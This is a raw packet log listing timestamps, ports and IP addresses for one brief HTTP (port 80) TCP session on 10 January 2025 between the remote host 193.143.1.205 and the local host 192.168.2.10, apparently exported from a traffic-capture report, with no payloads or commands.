Jan 10, 2025 16:39:38.029827118 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.029839039 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.029839039 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.029850960 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.029870987 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.029901028 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.030555964 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.030567884 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.030579090 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.030590057 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.030601978 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.030613899 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.030621052 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.030649900 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.039469004 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.039482117 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.039515018 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.039525986 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.039535999 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.039536953 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.039588928 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.039597034 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.045711040 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.071023941 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.071053982 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.071201086 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.103651047 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103737116 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103749037 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103761911 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103771925 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103785038 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103796005 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103807926 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103809118 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.103852987 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.103868961 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103879929 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103889942 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.103900909 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.103930950 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.111232042 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.111242056 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.111254930 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.111268044 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.111278057 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.111310005 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.111337900 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.111347914 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.111360073 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.111382961 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.111448050 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.134213924 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134238958 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134248972 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134263039 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134274960 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134277105 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.134287119 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134299994 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134313107 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134319067 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134322882 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.134325027 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134336948 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.134419918 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.142558098 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142570019 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142580032 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142612934 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.142622948 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142635107 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142646074 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142657995 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.142683029 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.142751932 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142791986 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142802954 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142815113 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142823935 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.142849922 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142852068 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.142863035 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.142896891 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143042088 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143120050 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143131971 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143158913 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143172979 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143219948 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143224001 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143244028 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143300056 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143309116 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143347025 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143359900 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143372059 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143384933 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143414021 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143416882 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143522024 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143557072 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143560886 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143579006 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143591881 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143603086 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143621922 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143649101 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143810034 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143821001 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143831968 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143846989 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143857956 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143858910 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143870115 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143886089 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143901110 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143906116 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.143913984 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143927097 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.143944025 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.144253016 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144287109 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.144304037 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144315004 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144349098 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.144356012 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144368887 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144380093 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144392014 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144402981 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.144419909 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144429922 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.144432068 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144444942 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144459009 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144464970 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.144491911 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.144900084 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144953012 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144978046 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.144985914 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.144990921 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145029068 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145032883 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.145040989 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145061970 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145071030 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.145071983 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145082951 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145113945 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145131111 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145132065 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.145145893 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145149946 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.145159960 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145173073 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.145178080 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.145201921 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.147495985 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147505999 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147519112 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147555113 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.147641897 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147654057 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147665024 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147682905 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.147687912 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147701025 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147710085 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.147712946 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147732973 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147737980 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.147743940 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147757053 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147768021 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147773981 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.147780895 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147793055 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147804022 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.147804976 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147816896 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.147823095 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.147838116 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.148314953 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148350954 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.148389101 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148401976 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148416042 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148427010 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148435116 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.148438931 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148471117 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.148621082 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148658991 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.148730040 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148741961 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148755074 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148766041 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148777008 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.148777008 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.148804903 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.189846039 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.189902067 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.189908028 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.189918995 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.189930916 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.189943075 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.189954996 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.189960957 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.189969063 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.189980030 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.190001011 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.190048933 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.197484016 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197494984 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197508097 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197520971 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197529078 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.197535038 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197546959 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197559118 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197571993 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197578907 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.197590113 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197602034 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197614908 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197626114 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.197643042 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.197644949 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197658062 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197668076 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.197669983 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197681904 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197694063 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.197695017 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.197731018 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.220361948 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.220374107 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.220386982 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.220407009 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.220419884 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.220427990 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.220434904 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.220448971 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.220488071 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.220500946 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.228956938 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229055882 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229068995 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229080915 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229094028 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229104996 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229110003 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229116917 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229129076 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229149103 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229188919 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229346991 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229357958 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229368925 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229387999 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229393005 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229399920 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229423046 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229430914 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229443073 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229455948 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229465961 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229502916 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229523897 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229533911 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229545116 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229551077 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229584932 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229628086 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229644060 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229686022 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229736090 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229756117 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229770899 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229783058 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229794979 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229799032 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229804993 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229814053 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229825974 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229839087 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229844093 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229851007 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229865074 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229882002 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229891062 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229892969 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229911089 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229911089 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229923010 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229934931 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229942083 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229955912 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229964018 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.229968071 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229979992 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.229991913 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230005980 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230010033 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230037928 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230050087 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230196953 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230257988 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230277061 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230290890 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230297089 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230303049 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230348110 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230400085 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230437994 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230451107 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230460882 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230463028 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230477095 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230484962 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230489016 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230500937 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230510950 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230539083 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230539083 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230556011 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230568886 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230588913 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230601072 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230612993 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230618000 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230626106 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230631113 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230643988 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230650902 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230657101 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230673075 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.230684042 CET	80	49762	193.143.1.205	192.168.2.10
